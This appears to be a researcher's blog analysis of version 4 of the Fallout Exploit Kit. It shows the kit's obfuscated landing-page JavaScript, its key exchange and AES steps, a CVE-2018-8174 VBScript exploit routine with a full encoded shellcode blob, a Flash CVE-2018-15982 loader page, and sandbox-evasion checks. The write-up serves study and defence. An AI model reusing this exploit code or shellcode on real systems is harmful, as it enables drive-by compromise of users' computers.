Steady Evolution of Fallout v4

First

We have been observing the Fallout Exploit Kit since August 2018. Fallout is using non-characteristic URL and heavily obfuscated landing page. The user still exists and attacks are observed daily. Recently, we were investigating an attack campaign that infects Raccoon Stealer in the flow of PopAds-> KeitaroTDS-> Fallout.

About Fallout, we have already written three reports. The first one was about the emergence of Fallout, the second one was to start using PowerShell and the third one was to start exploiting PoC on GitHub. We divide these major changes by version and call them v1~3.

We wrote about v3 in March 2019. v3 is not stable and has been updated to the next version immediately. @EKFiddle (created and maintained by @jeromesegura) reported this change on April 11.

#EKFiddle [Regex update]: #FalloutEK
Seems like there is no more use of the PoC on GitHub for CVE-2018-8174.
Pushing #GandCrab in this particular instance.https://t.co/U67qZosp1e pic.twitter.com/buVTakYuhJ

— EKFiddle (@EKFiddle) 2019年4月11日

We call this a big update v4 (it is still v4). Detailed analysis report has not been written about what kind of update Fallout has done. However, this update is very big. At least for us (Exploit Kit analyst), that made the analysis very cumbersome. Fallout v4 incorporates the following features.

1. Diffie-Hellman key exchange
2. VM detection
3. Process detection

Here, we will share detailed analysis results on the updates made by Fallout v4. But unfortunately, we did not understand everything. If you are aware of it, please help us.

Traffic chain

First, let’s look at the previous traffic chain. v1~3 was like this.

In v3, it acquired PoC of CVE-2018-8174 from GitHub, and attacked by rewriting the part of shellcode. So what kind of traffic chain is v4?

1. Landing Page
2. JavaScript Code
3. Encoded Code 1
4. Encoded Code 2 (CVE-2018-8174 + SWF Loader)
5. CVE-2018-15982
6. PowerShell Code
7. Malware

In this way, an attack is performed by seven traffics. Let’s look at each one in order. (In the following, we will use different traffic data from the above. The detailed reason will be mentioned later, but it is difficult to capture and analyze traffic at the same time)

Landing Page + JS Code + Encoded Data

In the landing page, JavaScript code is read first.

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
<script type="text/javascript" src="/04_09_2003/Symposium?Peristele=02_03_1943&LE3r=Aps&ILZhH=Frazzling-Anorexias"></script>
</head>

This includes CryptoJS and BigInteger obfuscated. Excluding the large library parts, there is very little processing.

// key
window.III1l1 = window["Il1IIllIlI1I"]["IIIlI"]["II1I1lI1I"]["ll1llI1"]("8b69cbdfc5fe43e69b7920c8ee721fc9");
// iv
window.II1ll11I = window["Il1IIllIlI1I"]["IIIlI"]["II1I1lI1I"]["ll1llI1"]("301ae8205ddcd5897df69e3b0c056c34");
// aes_decrypt(enc_data, key, iv)
window.l11llIll = window["Il1IIllIlI1I"]["lI11lIl"]["l11II11l"]("p4N9IqH/oiAKHkDCR0zXXfrvhwVrVPsFZSNUjkVFXxxBofjpd5JLM1sdAega3oRy", III1l1, {
    lI1lIl1Ill: II1ll11I
})["lIlIlll11l"](window["Il1IIllIlI1I"]["IIIlI"]["Il11I1II"]);

First, two data (8b69cbdfc5fe43e69b7920c8ee721fc9 and 301ae8205ddcd5897df69e3b0c056c34) will appear. This is a key and an IV for AES encryption. By decrypting the next Base64 character string using these keys and IV, the necessary data (specifically, the URL for acquiring encoded data used in the next step) can be obtained. . When it tries decoding, it becomes like this.

Next is the process of checking which browser is being used. Depending on it, Opera, Firefox, IE or Chrome is investigated.

// check browser
window["String"]["prototype"]["II1l1IlI"] = function () {
    return (!!window["opr"] && !!window["opr"]["addons"] || !!window["opera"] || navigator["userAgent"]["indexOf"](" OPR/") >= 0)
    + this + (typeof window["InstallTrigger"] !== "undefined")
    + this + (false || !!window["document"]["documentMode"])
    + this + (!!window["chrome"] && !!window["chrome"]["runtime"])
};

Then there is a process to check the version of Adobe Flash Player. This data will be used later.

(function () {
    window.l1l111I = '';
    try {
        window.l1l111I = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').getVariable('$version')
    } catch (e) {}
})();

The process then returns to the landing page. In the landing page, one function is defined and executed. Let’s look at that function.

// str_A
var l1ll1 = window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l']();
// str_B
var lIlII11 = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](), 16);
// str_C
var ll1l1IlIIIll = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](), 16);
// str_D
var lll1II = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](), 16);

// str_E => str_B.modPow(str_C, str_D)
var l11IlIl = lIlII11['ll11IIl'](ll1l1IlIIIll, lll1II);

Here, many processes such as window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l']() appear. This is defined in CryptoJS and generates a 32 character random hexadecimal string. After generating four random data, use the second, third and fourth of them to generate the fifth data. Here modPow is used. The five data prepared here will be used in the ensuing cryptographic process. We call them str_A, str_B, str_C, str_D, str_E.

The following code is divided into three parts. Onreadystatechange after the first one has sent a request to the server. The process of generating data to be sent by the second. The third is the process to send. These are the standard XMLHttpRequest POST procedures. First, let’s look at the process of generating transmission data.

var l11IlIIlllll = {};

l11IlIIlllll['lIlII11'] = lIlII11['lIlIlll11l'](16);    // str_B
l11IlIIlllll['lll1II'] = lll1II['lIlIlll11l'](16);      // str_D
l11IlIIlllll['l11IlIl'] = l11IlIl['lIlIlll11l'](16);    // str_E
l11IlIIlllll['lI1lIl1Ill'] = l1ll1;                     // str_A

// browser check data
l11IlIIlllll['II1l1IlI'] = '@@' ['II1l1IlI']();

Five data have been added to the array l11IlIIlllll. Other than the last one is the random data created earlier. There are 5 random data, but the data other than str_C is send data. The last one is the browser check data generated earlier. It checks whether the browser is Opera, Firefox, IE or Chrome, respectively, and contains true or false and is concatenated with @@. Such data is prepared for send. It should be noted here that str_C has not been sent to the server.

Next, let’s look at the sending process.

window['I1l1I1'](Il1I11l, "post", l11llIll, true);

/* -- snip -- */

// Send POST
window['l1lllIIlI'](
    Il1I11l,

    // aes_encrypt(data, key, iv)
    window['Il1IIllIlI1I']['lI11lIl']['Ill1lI1Ill'](
        window['IIII1Il'](l11IlIIlllll),        // post request data
        window['III1l1'],                       // key
        { lI1lIl1Ill: window['II1ll11I'] }      // iv
    )['lIlIlll11l']()
);

This is also a general request sending process. The URL is a string decoded by AES earlier. The data to be sent is the previously prepared data, but these are encrypted by AES. The key and IV are the same as those used to decode the URL. The previous data to be encrypted looks like this.

{
    "lIlII11":"c81e728d9d4c2f636f067f89cc14862c",
    "lll1II":"a87ff679a2f3e71d9181a67b7542122c",
    "l11IlIl":"3f05415ebff145466040f6a73dca8704",
    "lI1lIl1Ill":"c4ca4238a0b923820dcc509a6f75849b",
    "II1l1IlI":"false@@false@@true@@false"
}

The data actually sent is encrypted in this way.

TvU4TAyld3MNlDcMtLwxBo+uVXAbIB1jpPO1a9HDv2dZs7HonG67s8heWoMyvnUFqFBdoEhU0STYjHHQxX6DK7x7Z1naG/2TAdm+AR5l6gpYVl4jXB9oOOyfJtZrfJHabQT5Jhlqv1dtvsJ+0G27qhamqtPT16wCpXn2R2WHf8NJu9SvXSSVadW7sT6QDt32Jt0z3oR0VIlpuE/w3snfKDNIjJYhuMz/VGYIL9WNdg0hC26sxB5fJ5fOOuifh2rNk9GgNsNdfVP01Tf77GRDu9puTbgfsgYOnCz0ONOmp05B14kJ1tK8ZI6ciOWLvOYV

Let’s look at the process after sending. onreadystatechange is called. Here, two AES decodings are performed. Let’s first look at the first decoding process.

// aes_decrypt(enc_data, key, iv)
var lIlIl1IIl11 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l'](
    Il1I11l['responseText'],                // enc_data
    window['III1l1'],                       // key
    { lI1lIl1Ill: window['II1ll11I'] }      // iv
)['lIlIlll11l'](window['Il1IIllIlI1I']['IIIlI']['Il11I1II']);

var l1I1l1 = window['lIl11'](lIlIl1IIl11);

POST response data is encrypted with AES. The keys and IV are the same as before, and the hard-coded values (8b69cbdfc5fe43e69b7920c8ee721fc9 and 301ae8205ddcd5897df69e3b0c056c34) are hard-coded in the JavaScript code. Jsonify is performed because the JSON data can be obtained by decoding. The decoded JSON data looks like this.

{
    "IlI1l":"9b412e5c651d73fd1e271dd63f6901a0",
    "I1111":"r+sZGwxURs48PDt8pilYLNYjKbVrMHSmlgv0jeEE7qd8KN+KbbqRpYBUUrEFfM5VSLfRPthHQmyzFoY7fuCtOQQ9vUiMBC+3\/pL…"
}

Decode the second data using the first (32-character hexadecimal string) of this data. The first data is called str_F. Also, decoding is done with AES, but the key and IV are different from before.

var lIlll1IIlI = window['l1l1IIlIlI'](l1I1l1['lIlll1IIlI'], 16);    // str_F

// key (str_G) => str_F.modPow(str_C, str_D)
var llIIlI = lIlll1IIlI['ll11IIl'](ll1l1IlIIIll, lll1II);
var I1Il1I1 = llIIlI['lIlIlll11l'](16);
var IIIIlI1IllII = 32 - I1Il1I1.length;
while (IIIIlI1IllII > 0) {
    I1Il1I1 = '0' + I1Il1I1;
    IIIIlI1IllII--;
}
var II1ll = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](I1Il1I1);
var lI1lIl1Ill = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](l1ll1);

// aes_decrypt(enc_data, key, iv)
var Il11lII1 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l'](
    l1I1l1['lIlIl1IIl11'],          // enc_data
    II1ll,                          // str_G
    { lI1lIl1Ill: lI1lIl1Ill }      // iv => str_A
);

The values generated by str_F, str_C and str_D are called str_G. Thus, str_C is required to decode the data, but str_C has not been sent to the server. By looking at the traffic data, you can see str_E and str_G created by str_C, but it is impossible to find str_C. Please see Wikipedia for details.

The data thus decoded is executed as JavsScript.

// eval
II1Il['ll1I1']();

Let’s look at the executed code. First, the URL used next is decoded. The key and IV used at this time are hard-coded initial values.

// aes_decrypt(enc_url, key, iv)
var l11l1I1 =window["Il1IIllIlI1I"]["lI11lIl"]["l11II11l"](
    "l9kie2x7t4Iq4hRNA3G3Juz+buSrv9OSyATsAvZRjsoWkjatAa3Am6oRnar5jjv2N8XFpvDYQbKswFbyKiGPXM/eRwj5+hz4hg+dTKr5BLk=",
    III1l1,
    { lI1lIl1Ill:II1ll11I }
)["lIlIlll11l"](window["Il1IIllIlI1I"]["IIIlI"]["Il11I1II"]);

Then, as before, the function is called. Let’s look at the function. First, define the necessary data for encryption/decryption as before. Give each one a name as before.

// str_A2
var l1ll1 = window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l']();
// str_B2
var lIlII11 = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](),16);
// str_C2
var ll1l1IlIIIll = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](),16);
// str_D2
var lll1II = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](),16);

// str_E2 => str_B2.powMod(str_C2, str_D2)
var l11IlIl = lIlII11['ll11IIl'](ll1l1IlIIIll,lll1II);

Next, prepare the data to send as a POST request. Unlike before, Adobe Flash Player version information is also sent.

var l11IlIIlllll = {};
l11IlIIlllll['lIlII11'] = lIlII11['lIlIlll11l'](16);    // str_B2
l11IlIIlllll['lll1II'] = lll1II['lIlIlll11l'](16);      // str_D2
l11IlIIlllll['l11IlIl'] = l11IlIl['lIlIlll11l'](16);    // str_E2
l11IlIIlllll['lI1lIl1Ill'] = l1ll1;                     // str_A2
l11IlIIlllll['II1l1IlI'] = '@@'['II1l1IlI']();          // browser check data
l11IlIIlllll['l1l111I'] = window['l1l111I'];            // Adobe Flash Player version check data

The sending process is the same as the previous one. The key and IV used in this case are also initial values.

window['I1l1I1'](Il1I11l,"post",l11l1I1,true);

window['l1lllIIlI'](
    Il1I11l,
    // aes_encrypt
    window['Il1IIllIlI1I']['lI11lIl']['Ill1lI1Ill'](
        window['IIII1Il'](l11IlIIlllll),    // POST Data
        window['III1l1'],                   // key
        {lI1lIl1Ill:window['II1ll11I']}     // iv
    )['lIlIlll11l']()
);

Thus, onreadystatechange is called as well. Here too, the decoding process is performed as before. First, decode POST response data with the same key and IV as before.

// aes_decrypt(enc_data, key, iv)
var lIlIl1IIl11 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l'](
    Il1I11l['responseText'],                // enc_data
    window['III1l1'],                       // key
    {lI1lIl1Ill:window['II1ll11I']}         // iv
)['lIlIlll11l'](window['Il1IIllIlI1I']['IIIlI']['Il11I1II']);

When jsonify the decoded result, three data are included like this. The first 32-character hexadecimal string is called str_F2.

{
    "lIlll1IIlI": "87e087b48d4b06215f486021f23f5470",
    "lIIIIllIl1": "oUeRtTwLk9lLYqMwZC3AM49H8HDw15IqymZ0W\/vw87Vd9RtdXhps9ZppZc\/INO01Bqk79BOMS9ykHCDPE\/\/kWCHQuuh0\/rr…",
    "II11lIl11": "88HY4nkc9TWmnRPi\/hEPmk8ZCTJ5tIwItosOTmqFjUBFxCXfoXdMKas+TeKLUbdwsXAhvGa35wNmMnajdPzt1huWerzwnhoGcFP…"
}

Decrypt these data. Thus two data are decoded.

var lIlll1IIlI = window['l1l1IIlIlI'](l1I1l1['lIlll1IIlI'],16);

// str_G2 => str_F2.modPow(str_C2, str_D2)
var llIIlI = lIlll1IIlI['ll11IIl'](ll1l1IlIIIll,lll1II);
var I1Il1I1 = llIIlI['lIlIlll11l'](16);
var IIIIlI1IllII = 32 - I1Il1I1.length;
while(IIIIlI1IllII > 0) {
    I1Il1I1 = '0'+I1Il1I1;
    IIIIlI1IllII--;
}
var II1ll = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](I1Il1I1);       // str_G2
var lI1lIl1Ill = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](l1ll1);    // str_A2

// aes_decrypt()
var I1II111I1 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l'](
    l1I1l1['lIIIIllIl1'],       // enc_data_1
    II1ll,                      // str_G2
    {lI1lIl1Ill: lI1lIl1Ill}    // str_A2
);

var IIIIl = window['Il1IIllIlI1I']['lI11lIl']['l11II11l'](
    l1I1l1['II11lIl11'],        // enc_data_2
    II1ll,                      // str_G2
    {lI1lIl1Ill: lI1lIl1Ill}    // str_A2
);

The data thus decoded is written to Body and executed. The decoded data is the CVE-2018-8174 exploit code and the CVE-2018-15982 exploit code for reading swf loader.

if(IlIII1lll['length'] !== 0) {
	var IIlIl = window['document']['createElement']("iframe");
	IIlIl['setAttribute']("id", "IlIlll1I1");
	window['document']['getElementsByTagName']("BODY")[0].appendChild(IIlIl);
	var I11I11IIlIII = window['document']['getElementById']("IlIlll1I1")['contentWindow']['document'];
	I11I11IIlIII['open']();
	I11I11IIlIII['write'](IlIII1lll);
	I11I11IIlIII['close']();
}

if(lIl1l1I['length'] !== 0) {
    var l1III11 = window['document']['createElement']("iframe");
    l1III11['setAttribute']("id", "lII1I1IlI1I");
    window['document']['getElementsByTagName']("BODY")[0].appendChild(l1III11);
    var llIll1lI = window['document']['getElementById']("lII1I1IlI1I")['contentWindow']['document'];
    llIll1lI['open']();
    llIll1lI['write'](lIl1l1I);
    llIll1lI['close']();
}

For swf loader, the following code is executed.

<html>
<head>
    <meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
    <div id="BnjJbx"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="205" height="528" id="BnjJbx" align="middle">
            <param name="movie" value="/24_02_1964/05_04_1933/3410-Skegger-12666" />
            <param name="quality" value="high" />
            <param name="bgcolor" value="#ffffff" />
            <param name="play" value="true" />
            <param name="loop" value="true" />
            <param name="wmode" value="window" />
            <param name="scale" value="showall" />
            <param name="menu" value="false" />
            <param name="devicefont" value="false" />
            <param name="salign" value="" />
            <param name="allowScriptAccess" value="sameDomain" /></object></div>
</body>
</html>

Thus, the swf file that exploits CVE-2018-15982 is read and executed.

CVE-2018-8174

The exploit code used is very similar to PoC.

Sub StartExploit
	UAF
	InitObjects
	vb_adrr=LeakVBAddr()
	vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
	msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
	krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
	ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
	VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
	NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
	SetMemValue GetShellcode()
	ShellcodeAddr=GetMemValue()+8
	SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
	lIlll=GetMemValue()+69596
	SetMemValue ExpandWithVirtualProtect(lIlll)
	llIIll=GetMemValue()
	ExecuteShellcode
End Sub
StartExploit

The process to generate shellcode is like this.

Function GetShellcode()
	IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%u8B55%u83EC%uF8E4%uEC81%u00CC%u0000%u5653%uE857%u08B0%u0000%uF08B%u44C7%u1824%u05CD%u5379%u848D%uB024%u0000%u8900%u2474%u8934%u2444%u8D14%u2454%u8D10%u2444%uC744%u2444%u1D1C%u2BDE%u8982%u2444%u8D10%u244C%u8D14%u2484%u0094%u0000%u4489%u2824%u448D%u1824%u8D50%u2444%u502C%u1EE8%u0006%u8B00%u245C%u8D18%u244C%u8B18%u247C%u8B1C%u8903%u2444%u8B40%u1C47%u4489%u4424%u478B%u8920%u2444%u3348%u89C0%u2444%u8918%u2444%u891C%u2444%uE834%u02E9%u0000%u548D%u1C24%uCF8B%u66E8%u0002%u8300%u2464%u0038%u4C8D%u2024%u406A%uE856%u02FE%u0000%uC683%u8D40%u244C%u6828%u0080%u0000%uE856%u02EC%u0000%u74FF%u2C24%u4C8B%u5024%u448D%u4824%u74FF%u2C24%uD68B%u74FF%u4824%u5753%u8D50%u2444%u5060%u448D%u4C24%uE850%u0389%u0000%uDB33%uC483%u3938%u245C%u742C%u8B41%u2474%u8D38%u2444%u6A48%u5F44%u5357%uFF50%u83D6%u0CC4%u7C89%u4824%u448D%u1824%u106A%u5053%uD6FF%uC483%u8D0C%u2444%u5018%u448D%u4C24%u5350%u6853%u0000%u0800%u5353%uFF53%u2474%u5350%u54FF%u6424%uFF53%u2454%u5F44%u5B5E%uE58B%uC35D%u8B55%u83EC%u0CEC%u458B%u890C%uF445%u458B%u8908%uF845%u6583%u00FC%u07EB%u458B%u40FC%u4589%u8BFC%uFC45%u453B%u7310%u8B12%uF845%u4503%u8BFC%uF44D%u4D03%u8AFC%u8809%uEB08%uC9DF%u55C3%uEC8B%u458B%u0F08%u00BE%uC085%u2D74%u458B%u0F08%u00BE%uF883%u7C41%u8B19%u0845%uBE0F%u8300%u5AF8%u0E7F%u458B%u0F08%u00BE%uC083%u8B20%u084D%u0188%u458B%u4008%u4589%uEB08%u5DC9%u55C3%uEC8B%u8B51%u0845%u4589%uEBFC%u8B07%uFC45%u8940%uFC45%u458B%u0FFC%u00BE%uC085%u0274%uEDEB%u458B%u2BFC%u0845%uC3C9%u5653%u8B57%u33D9%u53FF%u3347%uE8F6%uFFC9%uFFFF%u8B59%u85C8%u74C9%u0F24%u03B6%uD233%uC703%uF1BF%u00FF%uF700%u43F7%uFA8B%uD233%u048D%uBE3E%uFFF1%u0000%uF6F7%uF28B%uE983%u7501%uC1DC%u10E6%u048D%u5F37%u5B5E%u55C3%uEC8B%uEC83%u5310%u5756%uF98B%u5589%u33FC%u8BF6%u3C47%u5C8B%u7838%uDF03%u438B%u8B1C%u204B%uC703%u4589%u03F0%u8BCF%u2443%uC703%u4D89%u89F8%uF445%u7339%u7618%u8B18%uB10C%uCF03%u7BE8%uFFFF%u3BFF%uFC45%u1074%u4D8B%u46F8%u733B%u7218%u33E8%u5FC0%u5B5E%uC3C9%u458B%u8BF4%uF04D%uB70F%u7004%u048B%u0381%uEBC7%u64EA%u30A1%u0000%u8B00%u0C40%u408B%u8B14%u8B00%u8B00%u1040%u64C3%u30A1%u0000%u8B00%u0C40%u408B%u8B14%u8B00%u1040%u56C3%u8B57%u8BF9%u56F2%u078B%uD0FF%uC085%u0675%u478B%u5604%uD0FF%u5E5F%u56C3%uF18B%uE856%uFEAB%uFFFF%u8B59%uE8CE%uFF06%uFFFF%u3D5E%u06DE%u3F54%u1F74%u413D%uCD05%u7425%u3D18%u0309%u0F05%u1174%uEC3D%u1803%u7416%u3D0A%u044B%u19F3%u0374%uC033%u33C3%u40C0%u55C3%uEC8B%uEC81%u013C%u0000%u418B%u5308%u5756%uFA8B%uDB33%u518B%u890C%uF855%u518B%u8B10%u1449%u6A53%u8902%uFC55%u4D89%uFFF4%u8BD0%u83F0%uFFFE%u4074%u858D%uFEC8%uFFFF%u85C7%uFEC8%uFFFF%u0128%u0000%u5650%u55FF%u85F8%u74C0%u8D27%uEC8D%uFFFE%uE8FF%uFF6F%uFFFF%uC085%u1575%u858D%uFEC8%uFFFF%u5650%u55FF%u85FC%u75C0%u56E2%u55FF%uEBF4%u3303%u43DB%u1F89%u5E5F%uC95B%u55C3%uEC8B%uEC83%u5310%u5756%uC033%uF98B%u3340%u53C9%uA20F%uF38B%u8D5B%uF05D%u0389%u7389%u8904%u084B%u5389%u8B0C%uF845%uE8C1%u891F%u5F07%u5B5E%uC3C9%u8B55%u81EC%u04EC%u0001%u5300%u3356%u57F6%uC68B%u8488%uFC05%uFFFE%u40FF%u003D%u0001%u7200%u8BF1%u8BDE%u8BFE%u8AF1%u3D94%uFEFC%uFFFF%uC78B%uE083%u0F07%uCAB6%uB60F%u3004%uC303%uC803%uB60F%u8AD9%u1D84%uFEFC%uFFFF%u8488%uFC3D%uFFFE%u47FF%u9488%uFC1D%uFFFE%u81FF%u00FF%u0001%u7200%u8BC8%u0C7D%uF633%uDE8B%uFF85%u5574%u458B%u8908%u0C45%u438D%u0F01%uD8B6%u948A%uFC1D%uFFFE%u0FFF%uC2B6%uC603%uB60F%u8AF0%u3584%uFEFC%uFFFF%u8488%uFC1D%uFFFE%u88FF%u3594%uFEFC%uFFFF%uB60F%u1D8C%uFEFC%uFFFF%uB60F%u03C2%u8BC8%u0C45%uB60F%u8AC9%u0D8C%uFEFC%uFFFF%u0830%u8940%u0C45%uEF83%u7501%u8BB1%u0845%u5E5F%uC95B%u55C3%uEC8B%uEC83%u8B48%u1C45%u4D89%u53F4%u8B56%u8B08%u0870%u4D89%u8BF8%u0448%u4D89%u8BF0%u0C48%u4D89%u8BE8%u1048%u4D89%u8BE0%u1448%u4D89%u8BD8%u1848%u458B%u5714%u046A%u5589%u8BEC%u1850%u4D89%u8BC8%u2448%u458B%u6818%u1000%u0000%u046A%u006A%u388B%u5589%u89D4%uFC4D%u7D89%uFFD0%u6AD2%u8B04%u6AD8%u5300%u5D89%uFFE4%u83D7%u207D%u8D00%u1445%u046A%u5350%u1875%u7D83%u0024%u0975%u45C7%uC614%u90EA%uEB2A%uC71D%u1445%uF9D7%u2A90%u14EB%u7D83%u0024%u45C7%uD214%u90EB%u752A%uC707%u1445%uE4D2%u2A90%u29E8%uFFFC%u8BFF%u084D%u458D%u83C0%u0CC4%u45C7%uF4C0%uDBBC%uC770%uC445%uE14D%u1989%u086A%uE850%uFE76%uFFFF%u5959%uDB33%u458D%u53C0%u5353%u5053%u55FF%u8BF8%u85F8%u75FF%u8B0A%u1045%u1889%u23E9%u0001%u5300%u6A53%u5303%u6853%u01BB%u0000%u75FF%u57F4%u55FF%u8BF0%u89D8%u145D%uDB85%u840F%u00FB%u0000%u4D8B%u8D08%uB845%u086A%uC750%uB845%uC6E5%u1DB0%u45C7%u7CBC%uB9D1%uE819%uFE1C%uFFFF%u5959%uC033%u6850%u3000%u8080%u5050%uFF50%uEC75%u458D%u50B8%uFF53%uE855%uD88B%uDB85%u840F%u00B8%u0000%u046A%u75FF%u6AE4%u6A00%u5300%u55FF%u85E0%u0FC0%uA084%u0000%u8300%u1C65%u8D00%uDC45%u6583%u00DC%u8D50%u1845%u45C7%u0418%u0000%u5000%u458D%u501C%u0568%u0000%u5320%u55FF%u83D8%u187D%u7400%u8376%u1C7D%u7400%u6A70%u6804%u1000%u0000%u75FF%u6A1C%uFF00%uD455%u75FF%u8B1C%u0C4D%u006A%u8950%uFF01%uD055%u6583%u00CC%u458D%u50CC%u458B%uFF0C%u1C75%u30FF%uFF53%uC855%uFF53%uFFD6%u1475%uD6FF%uFF57%u83D6%u207D%u8B00%uFC75%u0474%u006A%uD6FF%u7D83%u0024%u0474%u006A%uD6FF%u458B%uFF0C%u1C75%u4D8B%uFF08%uE830%uFD52%uFFFF%u458B%u5910%uC759%u0100%u0000%uEB00%u5311%uD6FF%u75FF%uFF14%u57D6%uD6FF%u458B%u8310%u0020%u5E5F%uC95B%u55C3%uEC8B%uEC83%u5310%u8B56%u8BF1%u57DA%u7589%uE8FC%uFBF7%uFFFF%uF88B%u43BA%u1C04%u8B19%uE8CF%uFB83%uFFFF%u368B%u75BA%uB905%u8B28%u89CF%u1446%u72E8%uFFFB%u8BFF%uFC75%u51BA%u3209%u8B73%u890E%u1C41%uCF8B%u5EE8%uFFFB%u8BFF%uBA0E%u0614%u33F5%u4189%u8B08%uE8CF%uFB4D%uFFFF%u0E8B%u97BA%u8104%u891D%u8B01%uE8CF%uFB3D%uFFFF%u0E8B%u4DBA%u8505%u8927%u0441%uCF8B%u2CE8%uFFFB%u8BFF%uBA0E%u04E4%u2259%u4189%u8B0C%uE8CF%uFB1B%uFFFF%u0E8B%uD3BA%u7004%u891F%u1041%uCF8B%u0AE8%uFFFB%u8BFF%uBA0E%u047A%u1A1E%u4189%u8B18%uE8CF%uFAF9%uFFFF%u0E8B%uF3BA%u8503%u8915%u2041%uCF8B%uE8E8%uFFFA%u8BFF%u890E%u2441%u58E8%uFFFB%uBAFF%u028C%u08D8%uC88B%uD2E8%uFFFA%u8BFF%u6A0B%u890C%u8D01%uF045%u4D8B%u500C%u45C7%uC2F0%u8DE0%uC720%uF445%uB412%u37CD%u45C7%uEFF8%uF16B%uE8A4%uFC34%uFFFF%u5959%u0E8B%u558D%uE8F0%uFB2B%uFFFF%uF88B%u5DBA%u1006%u8B36%uE8CF%uFA91%uFFFF%u758B%uBA08%u0584%u29FB%u0E8B%u4189%u8B0C%uE8CF%uFA7D%uFFFF%u0E8B%u55BA%uC706%u8935%u1441%uCF8B%u6CE8%uFFFA%u8BFF%uBA0E%u078C%u4B92%u4189%u8B10%uE8CF%uFA5B%uFFFF%u0E8B%u55BA%u6406%u8936%u0841%uCF8B%u4AE8%uFFFA%u8BFF%uBA0E%u051D%u245C%u4189%u8B04%uE8CF%uFA39%uFFFF%u0E8B%u46BA%uC006%u8935%u8B01%uE8CF%uFA29%uFFFF%u0E8B%u5E5F%u895B%u1841%uC3C9%uECD7%u2182%uA319%u2DD6%u29FE%uCBFE%u5CE9%uB27D%u501A%uCF26%u6A47%u54FE%uDABA%u8A85%uEF83%u3361%u09D1%u20F7%u16EC%uD9B7%u917A%uDE1A%u2281%uEA7F%u3143%u6ACE%u1A52%u4FF4%u500B%uC276%u5A57%uC1F8%uE09A%u258F%uA209%u6BCD%u28EE%uE3E7%u2FD5%u8D28%u3568%uAE4A%u0623%u309B%u8E87%uE4E0%u8EF7%u5F02%u7AB4%u73DA%u7483%uB0D2%uBC0E%uB049%u40EE%u8610%u7665%u07AF%u7330%u3C80%u6436%uF745%u5A61%uC1F8%uBBE2%u5581%uF71D%u00A7%u7F8D%u4907%u11AF%uB565%uF4E6%u755E%u19EE%u23AF%u8DB6%uEB89%u2838%u11BF%uC109%u1219%uD17E%uBEEA%uDD49%uF759%u09D6%uEA08%u8E45%uB602%u1B93%u19C4%u9146%uB94D%u9E6C%u0BC7%u00E8%u0000%u5800%uE883%u2D05%u00C0%u0000%u00C3" &lIIII(IIIII("")))
	IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
	GetShellcode=IIlI
End Function

Let’s read shellcode.

Shellcode

The decoding algorithm in the shellcode has not changed from v3 and remains RC4. Analysis of Fallout Exploit Kit v3

The hash algorithm of API hash has not changed either. API hashed by the dualaccModFFF1Hash algorithm.

unsigned int __thiscall dualaccModFFF1Hash(unsigned __int8 *this)
{
  unsigned __int8 *v1; // ebx
  int v2; // edi
  unsigned int v3; // esi
  int i; // ecx
  unsigned int v5; // edx

  v1 = this;
  v2 = 1;
  v3 = 0;
  for ( i = zz_count(this); i; --i )
  {
    v5 = (v2 + (unsigned int)*v1++) % 0xFFF1;
    v2 = v5;
    v3 = (v3 + v5) % 0xFFF1;
  }
  return v2 + (v3 << 16);
}

However, there were interesting changes. Analysis environment detection codes has been added in shellcode.

VM Detection

Query hypervisor precense using CPUID.

unsigned int __thiscall zz_vm_detect(unsigned int *this)
{
  unsigned int *v1; // edi
  unsigned int result; // eax

  v1 = this;
  _EAX = 1;
  __asm { cpuid }
  result = _ECX >> 31;
  *v1 = _ECX >> 31;
  return result;
}

Process Detection

Get a list of running processes.

Convert process name to lower case.

int __cdecl zz_tolowercase(_BYTE *a1)
{
  int result; // eax

  while ( 1 )
  {
    result = (char)*a1;
    if ( !*a1 )
      break;
    if ( (char)*a1 >= 65 && (char)*a1 <= 90 )
      *a1 += 32;
    ++a1;
  }
  return result;
}

Compare to the following hashes. Once again, It uses the dualaccModFFF1Hash algorithm.

0x3F5406DE
0x25CD0541
0x0F050309
0x161803EC
0x19F3044B

Two process names were identified. I do not know the others.

>>> hex(dualaccModFFF1Hash("wireshark.exe"))
'0x25cd0541'
>>> hex(dualaccModFFF1Hash("fiddler.exe"))
